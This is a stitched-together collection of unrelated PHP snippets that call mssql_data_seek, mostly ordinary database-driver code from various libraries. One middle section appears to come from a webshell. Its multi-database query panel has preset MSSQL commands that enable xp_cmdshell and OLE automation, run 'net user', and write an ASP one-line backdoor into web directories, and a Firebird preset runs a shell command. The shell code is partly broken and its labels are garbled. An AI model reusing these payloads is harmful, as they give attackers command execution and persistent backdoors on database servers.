public function set_result_pointer($offset = 0)
{
if ($this->num_rows()) {
return mssql_data_seek($this->resource, $offset);
}
return false;
}
public function query($sql, $start = null, $perpage = null, $nolimit = false)
{
$start and !$perpage and $perpage = 10000;
$query = mssql_query($sql, $this->dbConnection());
if ($start) {
$qcount = mssql_num_rows($query);
if ($qcount < $start) {
return array();
} else {
mssql_data_seek($query, $start);
}
}
if ($query) {
$result = array();
while ($row = mssql_fetch_assoc($query)) {
if (DBCHARSET == 'gbk' && CHARSET != 'gbk') {
$row = Base_Class::gbktoutf($row);
}
$result[] = $row;
if ($perpage && count($result) >= $perpage) {
break;
}
}
return $result;
} else {
$this->halt("数据库查询错误", $sql);
}
}
/**
* Seek
*
* @param int offset
* @return bool success
* @throws rdbms.SQLException
*/
public function seek($offset)
{
if (!mssql_data_seek($this->handle, $offset)) {
throw new SQLException('Cannot seek to offset ' . $offset);
}
return TRUE;
}
function next()
{
$this->cur++;
if ($this->cur > $this->max) {
return false;
}
mssql_data_seek($this->res, $this->cur);
return mssql_fetch_assoc($this->res);
}
/**
* Constructor method for the adapter. This constructor implements the setting of the
* 3 required properties for the object.
*
* @param resource $d The datasource resource
*/
function mssqlAdapter($d)
{
parent::RecordSetAdapter($d);
$fieldcount = mssql_num_fields($d);
// grab the number of fields
$ob = "";
$be = $this->isBigEndian;
$fc = pack('N', $fieldcount);
if (mssql_num_rows($d) > 0) {
mssql_data_seek($d, 0);
while ($line = mssql_fetch_row($d)) {
// write all of the array elements
$ob .= "\n" . $fc;
foreach ($line as $value) {
// write all of the array elements
if (is_string($value)) {
// type as string
$os = $this->_directCharsetHandler->transliterate($value);
//string flag, string length, and string
$len = strlen($os);
if ($len < 65536) {
$ob .= "" . pack('n', $len) . $os;
} else {
$ob .= "\f" . pack('N', $len) . $os;
}
} elseif (is_float($value) || is_int($value)) {
// type as double
$b = pack('d', $value);
// pack the bytes
if ($be) {
// if we are a big-endian processor
$r = strrev($b);
} else {
// add the bytes to the output
$r = $b;
}
$ob .= "" . $r;
} elseif (is_bool($value)) {
//type as bool
$ob .= "";
$ob .= pack('c', $value);
} elseif (is_null($value)) {
// null
$ob .= "";
}
}
}
}
$this->serializedData = $ob;
for ($i = 0; $i < $fieldcount; $i++) {
// loop over all of the fields
$this->columnNames[] = $this->_directCharsetHandler->transliterate(mssql_field_name($d, $i));
}
$this->numRows = mssql_num_rows($d);
}
/**
* Go to a row int the RecordSet.
*
* @param int $row Row to go to.
* @return bool Returns TRUE on success, FALSE if failed.
*/
function SetRow($row = 0)
{
if (!mssql_num_rows($this->result)) {
return FALSE;
}
if (!mssql_data_seek($this->result, $row)) {
return FALSE;
}
$this->row = $row;
return TRUE;
}
public function query($sql)
{
LogMaster::log($sql);
$res = mssql_query($sql, $this->connection, $this->start_from === false ? 10 : 0);
if ($this->insert_operation) {
$last = mssql_fetch_assoc($res);
$this->last_id = $last["dhx_id"];
mysql_free_result($res);
}
if ($this->start_from !== false) {
mssql_data_seek($res, $this->start_from);
}
return $res;
}
/**
* Constructor method for the adapter. This constructor implements the setting of the
* 3 required properties for the object.
*
* @param resource $d The datasource resource
*/
function mssqlAdapter($d)
{
parent::RecordSetAdapter($d);
$fieldcount = mssql_num_fields($d);
// grab the number of fields
for ($i = 0; $i < $fieldcount; $i++) {
// loop over all of the fields
$this->columnNames[] = mssql_field_name($d, $i);
}
if (mssql_num_rows($d) > 0) {
mssql_data_seek($d, 0);
while ($line = mssql_fetch_row($d)) {
$this->rows[] = $line;
}
}
}
function db_dataseek($qhandle, $row)
{
if ($row > 0) {
mssql_data_seek($qhandle, $row);
}
}
p('<td nowrap>' . $tb['name'] . '<br><span>' . $tb['type'] . '(' . $tb['length'] . ') ' . ($tb['colstat'] ? '<b> - PRIMARY</b>' : '') . ($tb['autoval'] ? '<b> - Auto</b>' : '') . '</span></td>');
$rowdb[$tb['name']]['Key'] = $tb['colstat'];
$rowdb[$tb['name']]['Auto'] = $tb['autoval'];
if ($tb['colstat']) {
$keyfied = $tb['name'];
}
}
p('</tr>');
//直接浏览表按照主键降序排列
if (strtolower(substr($query, 0, 13)) == 'select * from') {
$query .= " order by {$keyfied} DESC";
}
$result = msq($query);
$index = 0;
if ($pagenum > 0) {
mssql_data_seek($result, $start_limit);
}
while ($mn = @mssql_fetch_assoc($result)) {
if ($index > $pagenum - 1) {
break;
}
$thisbg = bg();
p('<tr class="' . $thisbg . '" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'' . $thisbg . '\';">');
$where = $tmp = $b1 = '';
//选取条件字段用
foreach ($mn as $key => $inside) {
if ($inside) {
//查找主键、唯一属性、自动增加的字段，找到就停止，否则组合所有字段作为条件。
if ($rowdb[$key]['Key'] == 1 || $rowdb[$key]['Auto'] == 1) {
$where = $key . "='" . addslashes($inside) . "'";
break;
/**
* Get a number of records as a moodle_recordset using a SQL statement.
*
* Since this method is a little less readable, use of it should be restricted to
* code where it's possible there might be large datasets being returned. For known
* small datasets use get_records_sql - it leads to simpler code.
*
* The return type is like:
* @see function get_recordset.
*
* @param string $sql the SQL select query to execute.
* @param array $params array of sql parameters
* @param int $limitfrom return a subset of records, starting at this point (optional, required if $limitnum is set).
* @param int $limitnum return a subset comprising this many records (optional, required if $limitfrom is set).
* @return moodle_recordset instance
* @throws dml_exception A DML specific exception is thrown for any errors.
*/
public function get_recordset_sql($sql, array $params = null, $limitfrom = 0, $limitnum = 0)
{
list($limitfrom, $limitnum) = $this->normalise_limit_from_num($limitfrom, $limitnum);
if ($limitfrom or $limitnum) {
if (!$this->supportsoffsetfetch) {
if ($limitnum >= 1) {
// Only apply TOP clause if we have any limitnum (limitfrom offset is handled later).
$fetch = $limitfrom + $limitnum;
if (PHP_INT_MAX - $limitnum < $limitfrom) {
// Check PHP_INT_MAX overflow.
$fetch = PHP_INT_MAX;
}
$sql = preg_replace('/^([\\s(])*SELECT([\\s]+(DISTINCT|ALL))?(?!\\s*TOP\\s*\\()/i', "\\1SELECT\\2 TOP {$fetch}", $sql);
}
} else {
$sql = substr($sql, -1) === ';' ? substr($sql, 0, -1) : $sql;
// We need order by to use FETCH/OFFSET.
// Ordering by first column shouldn't break anything if there was no order in the first place.
if (!strpos(strtoupper($sql), "ORDER BY")) {
$sql .= " ORDER BY 1";
}
$sql .= " OFFSET " . $limitfrom . " ROWS ";
if ($limitnum > 0) {
$sql .= " FETCH NEXT " . $limitnum . " ROWS ONLY";
}
}
}
list($sql, $params, $type) = $this->fix_sql_params($sql, $params);
$rawsql = $this->emulate_bound_params($sql, $params);
$this->query_start($sql, $params, SQL_QUERY_SELECT);
$result = mssql_query($rawsql, $this->mssql);
$this->query_end($result);
if ($limitfrom && !$this->supportsoffsetfetch) {
// Skip $limitfrom records.
if (!@mssql_data_seek($result, $limitfrom)) {
// Nothing, most probably seek past the end.
mssql_free_result($result);
$result = null;
}
}
return $this->create_recordset($result);
}
/**
* Fetch a row and insert the data into an existing array.
*
* Formating of the array and the data therein are configurable.
* See DB_result::fetchInto() for more information.
*
* @param resource $result query result identifier
* @param array $arr (reference) array where data from the row
* should be placed
* @param int $fetchmode how the resulting array should be indexed
* @param int $rownum the row number to fetch
*
* @return mixed DB_OK on success, null when end of result set is
* reached or on failure
*
* @see DB_result::fetchInto()
* @access private
*/
function fetchInto($result, &$arr, $fetchmode, $rownum = null)
{
if ($rownum !== null) {
if (!@mssql_data_seek($result, $rownum)) {
return null;
}
}
if ($fetchmode & DB_FETCHMODE_ASSOC) {
$arr = @mssql_fetch_array($result, MSSQL_ASSOC);
if ($this->options['portability'] & DB_PORTABILITY_LOWERCASE && $arr) {
$arr = array_change_key_case($arr, CASE_LOWER);
}
} else {
$arr = @mssql_fetch_row($result);
}
if (!$arr) {
/* This throws informative error messages,
don't use it for now
if ($msg = @mssql_get_last_message()) {
return $this->raiseError($msg);
}
*/
return null;
}
if ($this->options['portability'] & DB_PORTABILITY_RTRIM) {
$this->_rtrimArrayValues($arr);
}
if ($this->options['portability'] & DB_PORTABILITY_NULL_TO_EMPTY) {
$this->_convertNullArrayValuesToEmpty($arr);
}
return DB_OK;
}
function limit($query, $offset, $pagesize = 0)
{
if ($pagesize > 0) {
mssql_data_seek($query, $offset);
} else {
$pagesize = $offset;
}
$info = array();
for ($i = 0; $i < $pagesize; $i++) {
$r = $this->fetch_array($query);
if (!$r) {
break;
}
$info[] = $r;
}
$this->free_result($query);
$this->cursor = 0;
return $info;
}
function _seek($row)
{
return @mssql_data_seek($this->_queryID, $row);
}
/**
* @see ResultSet::seek()
*/
function seek($rownum)
{
// support emulated OFFSET
$actual = $rownum + $this->offset;
if ($this->limit > 0 && $rownum >= $this->limit || $rownum < 0) {
// have to check for rownum < 0, because mssql_seek() won't
// complain if the $actual is valid.
return false;
}
// MSSQL rows start w/ 0, but this works, because we are
// looking to move the position _before_ the next desired position
if (!@mssql_data_seek($this->result, $actual)) {
return false;
}
$this->cursorPos = $rownum;
return true;
}
/**
* Places a row from the result set into the given array
*
* Formating of the array and the data therein are configurable.
* See DB_result::fetchInto() for more information.
*
* This method is not meant to be called directly. Use
* DB_result::fetchInto() instead. It can't be declared "protected"
* because DB_result is a separate object.
*
* @param resource $result the query result resource
* @param array $arr the referenced array to put the data in
* @param int $fetchmode how the resulting array should be indexed
* @param int $rownum the row number to fetch (0 = first row)
*
* @return mixed DB_OK on success, NULL when the end of a result set is
* reached or on failure
*
* @see DB_result::fetchInto()
*/
function fetchInto($result, &$arr, $fetchmode, $rownum = null)
{
if ($rownum !== null) {
if (!@mssql_data_seek($result, $rownum)) {
return null;
}
}
if ($fetchmode & DB_FETCHMODE_ASSOC) {
$arr = @mssql_fetch_assoc($result);
if ($this->options['portability'] & DB_PORTABILITY_LOWERCASE && $arr) {
$arr = array_change_key_case($arr, CASE_LOWER);
}
} else {
$arr = @mssql_fetch_row($result);
}
if (!$arr) {
return null;
}
if ($this->options['portability'] & DB_PORTABILITY_RTRIM) {
$this->_rtrimArrayValues($arr);
}
if ($this->options['portability'] & DB_PORTABILITY_NULL_TO_EMPTY) {
$this->_convertNullArrayValuesToEmpty($arr);
}
return DB_OK;
}
/**
* Get a number of records as a moodle_recordset using a SQL statement.
*
* Since this method is a little less readable, use of it should be restricted to
* code where it's possible there might be large datasets being returned. For known
* small datasets use get_records_sql - it leads to simpler code.
*
* The return type is as for @see function get_recordset.
*
* @param string $sql the SQL select query to execute.
* @param array $params array of sql parameters
* @param int $limitfrom return a subset of records, starting at this point (optional, required if $limitnum is set).
* @param int $limitnum return a subset comprising this many records (optional, required if $limitfrom is set).
* @return moodle_recordset instance
* @throws dml_exception if error
*/
public function get_recordset_sql($sql, array $params=null, $limitfrom=0, $limitnum=0) {
$limitfrom = (int)$limitfrom;
$limitnum = (int)$limitnum;
$limitfrom = ($limitfrom < 0) ? 0 : $limitfrom;
$limitnum = ($limitnum < 0) ? 0 : $limitnum;
if ($limitfrom or $limitnum) {
if ($limitnum >= 1) { // Only apply TOP clause if we have any limitnum (limitfrom offset is handled later)
$fetch = $limitfrom + $limitnum;
$sql = preg_replace('/^([\s(])*SELECT([\s]+(DISTINCT|ALL))?(?!\s*TOP\s*\()/i',
"\\1SELECT\\2 TOP $fetch", $sql);
}
}
list($sql, $params, $type) = $this->fix_sql_params($sql, $params);
$rawsql = $this->emulate_bound_params($sql, $params);
$this->query_start($sql, $params, SQL_QUERY_SELECT);
$result = mssql_query($rawsql, $this->mssql);
$this->query_end($result);
if ($limitfrom) { // Skip $limitfrom records
mssql_data_seek($result, $limitfrom);
}
return $this->create_recordset($result);
}
public function to_array()
{
mssql_data_seek($this->result, 0);
return mssql_fetch_array($this->result, MSSQL_NUM);
}
function otherdb()
{
$db = isset($_GET['db']) ? $_GET['db'] : 'ms';
print <<<END
<form method="POST" name="dbform" id="dbform" action="?s=gg&db={$db}" enctype="multipart/form-data">
<div class="actall">
<a href="?s=gg&db=ms">   MSSQL  </a>
<a href="?s=gg&db=ora">   Oracle  </a>
<a href="?s=gg&db=ifx">   InforMix  </a>
<a href="?s=gg&db=fb">   FireBird  </a>
<a href="?s=gg&db=db2">  DB2  </a></div></form>
END;
if ($db == "ms") {
$mshost = isset($_POST['mshost']) ? $_POST['mshost'] : 'localhost';
$msuser = isset($_POST['msuser']) ? $_POST['msuser'] : '******';
$mspass = isset($_POST['mspass']) ? $_POST['mspass'] : '';
$msdbname = isset($_POST['msdbname']) ? $_POST['msdbname'] : 'master';
$msaction = isset($_POST['action']) ? $_POST['action'] : '';
$msquery = isset($_POST['mssql']) ? $_POST['mssql'] : '';
$msquery = stripslashes($msquery);
print <<<END
<div class="actall">
<form method="POST" name="msform" action="?s=gg&db=ms">
Host:<input type="text" name="mshost" value="{$mshost}" style="width:100px">
User:<input type="text" name="msuser" value="{$msuser}" style="width:100px">
Pass:<input type="text" name="mspass" value="{$mspass}" style="width:100px">
Dbname:<input type="text" name="msdbname" value="{$msdbname}" style="width:100px"><br>
<script language="javascript">
function msFull(i){
\tStr = new Array(11);
\tStr[0] = "";
\tStr[1] = "select @@version;";
\tStr[2] = "select name from sysdatabases;";
\tStr[3] = "select name from sysobject where type='U';";
\tStr[4] = "select name from syscolumns where id=Object_Id('table_name');";
\tStr[5] = "Use master dbcc addextendedproc ('sp_OACreate','odsole70.dll');";
\tStr[6] = "Use master dbcc addextendedproc ('xp_cmdshell','xplog70.dll');";
\tStr[7] = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;";
\tStr[8] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;";
\tStr[9] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;";
\tStr[10] = "Exec master.dbo.xp_cmdshell 'net user';";
\tStr[11] = "Declare @s int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo ^<%execute(request(char(35)))%^> > c:\\\\1.asp';";
\tStr[12] = "sp_makewebtask @outputfile='d:\\\\web\\\\bin.asp',@charset=gb2312,@query='select ''<%execute(request(chr(35)))%>''' ";
\tmsform.mssql.value = Str[i];
\treturn true;
}
</script>
<textarea name="mssql" style="width:600px;height:200px;">{$msquery}</textarea><br>
<select onchange="return msFull(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">��ʾ�汾</option>
\t<option value="2">���ݿ�</option>
\t<option value="3">����</option>
\t<option value="4">�ֶ�</option>
\t<option value="5">sp_oacreate</option>
\t<option value="6">xp_cmdshell</option>
\t<option value="7">xp_cmdshell(2005)</option>
\t<option value="8">sp_oacreate(2005)</option>
\t<option value="9">����openrowset(2005)</option>
\t<option value="10">xp_cmdshell exec</option>
\t<option value="10">sp_oamethod exec</option>
\t<option value="11">sp_makewebtask</option>
</select>
<input type="hidden" name="action" value="msquery">
<input class="bt" type="submit" value="Query"></form></div>
END;
if ($msaction == 'msquery') {
$msconn = mssql_connect($mshost, $msuser, $mspass);
mssql_select_db($msdbname, $msconn) or die("connect error :" . mssql_get_last_message());
$msresult = mssql_query($msquery) or die(mssql_get_last_message());
echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
for ($i = 0; $i < mssql_num_fields($msresult); $i++) {
echo '<td><b>' . mssql_field_name($msresult, $i) . "</b></td>\n";
}
echo "</tr>\n";
mssql_data_seek($result, 0);
while ($msrow = mssql_fetch_row($msresult)) {
echo "<tr>\n";
for ($i = 0; $i < mssql_num_fields($msresult); $i++) {
echo '<td>' . "{$msrow[$i]}" . '</td>';
}
echo "</tr>\n";
}
echo "</table></font>";
mssql_free_result($msresult);
mssql_close();
}
} elseif ($db == "ora") {
$orahost = isset($_POST['orahost']) ? $_POST['orahost'] : 'localhost';
$oraport = isset($_POST['oraport']) ? $_POST['oraport'] : '1521';
$orauser = isset($_POST['orauser']) ? $_POST['orauser'] : '******';
$orapass = isset($_POST['orapass']) ? $_POST['orapass'] : '******';
$orasid = isset($_POST['orasid']) ? $_POST['orasid'] : 'ORCL';
$oraaction = isset($_POST['action']) ? $_POST['action'] : '';
$oraquery = isset($_POST['orasql']) ? $_POST['orasql'] : '';
$oraquery = stripslashes($oraquery);
print <<<END
<form method="POST" name="oraform" action="?s=gg&db=ora">
<div class="actall">
Host:<input type="text" name="orahost" value="{$orahost}" style="width:100px">
Port:<input type="text" name="oraport" value="{$oraport}" style="width:50px">
User:<input type="text" name="orauser" value="{$orauser}" style="width:80px">
Pass:<input type="text" name="orapass" value="{$orapass}" style="width:100px">
SID:<input type="text" name="orasid" value="{$orasid}" style="width:50px"><br>
<script language="javascript">
function oraFull(i){
Str = new Array(5);
\tStr[0] = "";
\tStr[1] = "select version();";
\tStr[2] = "SELECT NAME FROM V{$DATABASE}";
\tStr[3] = "select * From all_objects where object_type='TABLE'";
\tStr[4] = "select column_name from user_tab_columns where table_name='table1'";
\toraform.orasql.value = Str[i];
\treturn true;
}
</script>
<textarea name="orasql" style="width:600px;height:200px;">{$oraquery}</textarea><br>
<select onchange="return oraFull(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">��ʾ�汾</option>
\t<option value="2">���ݿ�</option>
\t<option value="3">����</option>
\t<option value="4">�ֶ�</option>
</select>
<input type="hidden" name="action" value="myquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
if ($oraaction == 'oraquery') {
$oralink = OCILogon($orauser, $orapass, "(DEscriptION=(ADDRESS=(PROTOCOL =TCP)(HOST={$orahost})(PORT = {$oraport}))(CONNECT_DATA =(SID={$orasid})))") or die(ocierror());
$oraresult = ociparse($oralink, $oraquery) or die(ocierror());
$orarow = oci_fetch_row($oraresult);
echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
for ($i = 0; $i < oci_num_fields($oraresult); $i++) {
echo '<td><b>' . oci_field_name($oraresult, $i) . "</b></td>\n";
}
echo "</tr>\n";
ociresult($oraresult, 0);
while ($orarow = ora_fetch_row($oraresult)) {
echo "<tr>\n";
for ($i = 0; $i < ora_num_fields($result); $i++) {
echo '<td>' . "{$orarow[$i]}" . '</td>';
}
echo "</tr>\n";
}
echo "</table></font>";
oci_free_statement($oraresult);
ocilogoff();
}
} elseif ($db == "ifx") {
$ifxuser = isset($_POST['ifxuser']) ? $_POST['ifxuser'] : '******';
$ifxpass = isset($_POST['ifxpass']) ? $_POST['ifxpass'] : '******';
$ifxdbname = isset($_POST['ifxdbname']) ? $_POST['ifxdbname'] : 'ifxdb';
$ifxaction = isset($_POST['action']) ? $_POST['action'] : '';
$ifxquery = isset($_POST['ifxsql']) ? $_POST['ifxsql'] : '';
$ifxquery = stripslashes($ifxquery);
print <<<END
<form method="POST" name="ifxform" action="?s=gg&db=ifx">
<div class="actall">Dbname:<input type="text" name="ifxhost" value="{$ifxdbname}" style="width:100px">
User:<input type="text" name="ifxuser" value="{$ifxuser}" style="width:100px">
Pass:<input type="text" name="ifxpass" value="{$ifxpass}" style="width:100px"><br>
<script language="javascript">
function ifxFull(i){
Str = new Array(11);
\tStr[0] = "";
\tStr[1] = "select dbservername from sysobjects;";
\tStr[2] = "select name from sysdatabases;";
\tStr[3] = "select tabname from systables;";
\tStr[4] = "select colname from syscolumns where tabid=n;";
\tStr[5] = "select username,usertype,password from sysusers;";
\tifxform.ifxsql.value = Str[i];
\treturn true;
}
</script>
<textarea name="ifxsql" style="width:600px;height:200px;">{$ifxquery}</textarea><br>
<select onchange="return ifxFull(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">���ݿ�����������</option>
\t<option value="1">���ݿ�</option>
\t<option value="2">����</option>
\t<option value="3">�ֶ�</option>
\t<option value="4">hashes</option>
</select>
<input type="hidden" name="action" value="ifxquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
if ($ifxaction == 'ifxquery') {
$ifxlink = ifx_connect($ifcdbname, $ifxuser, $ifxpass) or die(ifx_errormsg());
$ifxresult = ifx_query($ifxquery, $ifxlink) or die(ifx_errormsg());
$ifxrow = ifx_fetch_row($ifxresult);
echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) {
echo '<td><b>' . ifx_fieldproperties($ifxresult) . "</b></td>\n";
}
echo "</tr>\n";
mysql_data_seek($ifxresult, 0);
while ($ifxrow = ifx_fetch_row($ifxresult)) {
echo "<tr>\n";
for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) {
echo '<td>' . "{$ifxrow[$i]}" . '</td>';
}
echo "</tr>\n";
}
echo "</table></font>";
ifx_free_result($ifxresult);
ifx_close();
}
} elseif ($db == "db2") {
$db2host = isset($_POST['db2host']) ? $_POST['db2host'] : 'localhost';
$db2port = isset($_POST['db2port']) ? $_POST['db2port'] : '50000';
$db2user = isset($_POST['db2user']) ? $_POST['db2user'] : '******';
$db2pass = isset($_POST['db2pass']) ? $_POST['db2pass'] : '******';
$db2dbname = isset($_POST['db2dbname']) ? $_POST['db2dbname'] : 'mysql';
$db2action = isset($_POST['action']) ? $_POST['action'] : '';
$db2query = isset($_POST['db2sql']) ? $_POST['db2sql'] : '';
$db2query = stripslashes($db2query);
print <<<END
<form method="POST" name="db2form" action="?s=gg&db=db2">
<div class="actall">Host:<input type="text" name="db2host" value="{$db2host}" style="width:100px">
Port:<input type="text" name="db2port" value="{$db2port}" style="width:60px">
User:<input type="text" name="db2user" value="{$db2user}" style="width:100px">
Pass:<input type="text" name="db2pass" value="{$db2pass}" style="width:100px">
Dbname:<input type="text" name="db2dbname" value="{$db2dbname}" style="width:100px"><br>
<script language="javascript">
function db2Full(i){
Str = new Array(4);
\tStr[0] = "";
\tStr[1] = "select schemaname from syscat.schemata;";
\tStr[2] = "select name from sysibm.systables;";
\tStr[3] = "select colname from syscat.columns where tabname='table_name';";
\tStr[4] = "db2 get db cfg for db_name;";
db2form.db2sql.value = Str[i];
return true;
}
</script>
<textarea name="db2sql" style="width:600px;height:200px;">{$db2query}</textarea><br>
<select onchange="return db2Full(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">���ݿ�</option>
\t<option value="1">����</option>
\t<option value="2">�ֶ�</option>
\t<option value="3">���ݿ�����</option>
</select>
<input type="hidden" name="action" value="db2query">
<input class="bt" type="submit" value="Query"></div></form>
END;
if ($myaction == 'db2query') {
$db2link = db2_connect($db2dbname, $db2user, $db2pass) or die(db2_conn_errormsg());
$db2result = db2_exec($db2link, $db2query) or die(db2_stmt_errormsg());
$db2row = db2_fetch_row($db2result);
echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
for ($i = 0; $i < db2_num_fields($db2result); $i++) {
echo '<td><b>' . db2_field_name($db2result) . "</b></td>\n";
}
echo "</tr>\n";
while ($db2row = db2_fetch_row($db2result)) {
echo "<tr>\n";
for ($i = 0; $i < db2_num_fields($db2result); $i++) {
echo '<td>' . "{$db2row[$i]}" . '</td>';
}
echo "</tr>\n";
}
echo "</table></font>";
db2_free_result($db2result);
db2_close();
}
} elseif ($db == "fb") {
$fbhost = isset($_POST['fbhost']) ? $_POST['fbhost'] : 'localhost';
$fbpath = isset($_POST['fbpath']) ? $_POST['fbpath'] : '';
$fbpath = str_replace("\\\\", "\\", $fbpath);
$fbuser = isset($_POST['fbuser']) ? $_POST['fbuser'] : '******';
$fbpass = isset($_POST['fbpass']) ? $_POST['fbpass'] : '******';
$fbaction = isset($_POST['action']) ? $_POST['action'] : '';
$fbquery = isset($_POST['fbsql']) ? $_POST['fbsql'] : '';
$fbquery = stripslashes($fbquery);
print <<<END
<form method="POST" name="fbform" action="?s=gg&db=fb">
<div class="actall">Host:<input type="text" name="fbhost" value="{$fbhost}" style="width:100px">
Path:<input type="text" name="fbpath" value="{$fbpath}" style="width:100px">
User:<input type="text" name="fbuser" value="{$fbuser}" style="width:100px">
Pass:<input type="text" name="fbpass" value="{$fbpass}" style="width:100px"><br/>
<script language="javascript">
function fbFull(i){
Str = new Array(5);
\tStr[0] = "";
\tStr[1] = "select RDB\$RELATION_NAME from RDB\$RELATIONS;";
\tStr[2] = "select RDB\$FIELD_NAME from RDB\$RELATION_FIELDS where RDB\$RELATION_NAME='table_name';";
\tStr[3] = "input 'D:\\createtable.sql';";
\tStr[4] = "shell netstat -an;";
fbform.fbsql.value = Str[i];
return true;
}
</script>
<textarea name="fbsql" style="width:600px;height:200px;">{$fbquery}</textarea><br>
<select onchange="return fbFull(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">����</option>
\t<option value="2">�ֶ�</option>
\t<option value="3">����sql</option>
\t<option value="4">shell</option>
</select>
<input type="hidden" name="action" value="fbquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
if ($fbaction == 'fbquery') {
$fblink = ibase_connect($fbhost . ':' . $fbpath, $fbuser, $fbpass) or die(ibase_errmsg());
$fbresult = ibase_query($fblink, $fbquery) or die(ibase_errmsg());
echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
for ($i = 0; $i < ibase_num_fields($fbresult); $i++) {
echo '<td><b>' . ibase_field_info($fbresult, $i) . "</b></td>\n";
}
echo "</tr>\n";
ibase_field_info($fbresult, 0);
while ($fbrow = ibase_fetch_row($fbresult)) {
echo "<tr>\n";
for ($i = 0; $i < ibase_num_fields($fbresult); $i++) {
echo '<td>' . "{$fbrow[$i]}" . '</td>';
}
echo "</tr>\n";
}
echo "</table></font>";
ibase_free_result($fbresult);
ibase_close();
}
}
}
/**
* Get a number of records as a moodle_recordset using a SQL statement.
*
* Since this method is a little less readable, use of it should be restricted to
* code where it's possible there might be large datasets being returned. For known
* small datasets use get_records_sql - it leads to simpler code.
*
* The return type is like:
* @see function get_recordset.
*
* @param string $sql the SQL select query to execute.
* @param array $params array of sql parameters
* @param int $limitfrom return a subset of records, starting at this point (optional, required if $limitnum is set).
* @param int $limitnum return a subset comprising this many records (optional, required if $limitfrom is set).
* @return moodle_recordset instance
* @throws dml_exception A DML specific exception is thrown for any errors.
*/
public function get_recordset_sql($sql, array $params = null, $limitfrom = 0, $limitnum = 0)
{
list($limitfrom, $limitnum) = $this->normalise_limit_from_num($limitfrom, $limitnum);
if ($limitfrom or $limitnum) {
if ($limitnum >= 1) {
// Only apply TOP clause if we have any limitnum (limitfrom offset is handled later)
$fetch = $limitfrom + $limitnum;
if (PHP_INT_MAX - $limitnum < $limitfrom) {
// Check PHP_INT_MAX overflow
$fetch = PHP_INT_MAX;
}
$sql = preg_replace('/^([\\s(])*SELECT([\\s]+(DISTINCT|ALL))?(?!\\s*TOP\\s*\\()/i', "\\1SELECT\\2 TOP {$fetch}", $sql);
}
}
list($sql, $params, $type) = $this->fix_sql_params($sql, $params);
$rawsql = $this->emulate_bound_params($sql, $params);
$this->query_start($sql, $params, SQL_QUERY_SELECT);
$result = mssql_query($rawsql, $this->mssql);
$this->query_end($result);
if ($limitfrom) {
// Skip $limitfrom records
if (!@mssql_data_seek($result, $limitfrom)) {
// Nothing, most probably seek past the end.
mssql_free_result($result);
$result = null;
}
}
return $this->create_recordset($result);
}
/**
* Data Seek
*
* Moves the internal pointer to the desired offset. We call
* this internally before fetching results to make sure the
* result set starts at zero
*
* @return bool
*/
protected function _data_seek($n = 0)
{
return mssql_data_seek($this->result_id, $n);
}
function fetchInto($result, &$ar, $fetchmode, $rownum = null)
{
if ($rownum !== null) {
if (!@mssql_data_seek($result, $rownum)) {
return null;
}
}
if ($fetchmode & DB_FETCHMODE_ASSOC) {
$ar = @mssql_fetch_array($result);
} else {
$ar = @mssql_fetch_row($result);
}
if (!$ar) {
if ($msg = mssql_get_last_message()) {
return $this->raiseError($msg);
} else {
return null;
}
}
return DB_OK;
}
public function seek($offset)
{
if (!$this->offsetExists($offset)) {
return FALSE;
}
return mssql_data_seek($this->result, $offset);
}
/**
* Seek to a specific row in a result set
*
* @param int $rownum number of the row where the data can be found
* @return mixed MDB2_OK on success, a MDB2 error on failure
* @access public
*/
function seek($rownum = 0)
{
if ($this->rownum != $rownum - 1 && !@mssql_data_seek($this->result, $rownum)) {
if ($this->result === false) {
return $this->db->raiseError(MDB2_ERROR_NEED_MORE_DATA, null, null, 'resultset has already been freed', __FUNCTION__);
} elseif (is_null($this->result)) {
return MDB2_OK;
}
return $this->db->raiseError(MDB2_ERROR_INVALID, null, null, 'tried to seek to an invalid row number (' . $rownum . ')', __FUNCTION__);
}
$this->rownum = $rownum - 1;
return MDB2_OK;
}
/**
* @param Mixed qHandle
* @param Number pageSize
* @param Number page
*/
public function seekPage($qHandle, $pageSize, $page)
{
$row = ($page - 1) * $pageSize;
if ($row > 0) {
mssql_data_seek($qHandle, $row);
}
}
/**
* Seek to given row number
* rownum is zero-based
*/
function sql_rowseek($rownum, &$query_id)
{
global $cache;
if ($query_id === false) {
$query_id = $this->query_result;
}
if (isset($cache->sql_rowset[$query_id])) {
return $cache->sql_rowseek($rownum, $query_id);
}
return $query_id !== false ? @mssql_data_seek($query_id, $rownum) : false;
}
/**
* Seek to a specific record of the result set
*
* @param int $row The index of the row to position to (zero-based)
*
* @return void
*/
public function seek($row)
{
switch ($this->mode) {
case "mysql":
$this->result->data_seek($row);
break;
case "postgres":
case "redshift":
pg_result_seek($this->result, $row);
break;
case "odbc":
# The odbc driver doesn't support seeking, so we fetch specific rows in getNextRow(), and here all we need to do is set the current position instance variable
break;
case "sqlite":
$this->result->reset();
for ($i = 0; $i < $row; $i++) {
$this->result->fetchArray();
}
break;
case "mssql":
mssql_data_seek($this->result, $row);
break;
}
$this->position = $row;
}
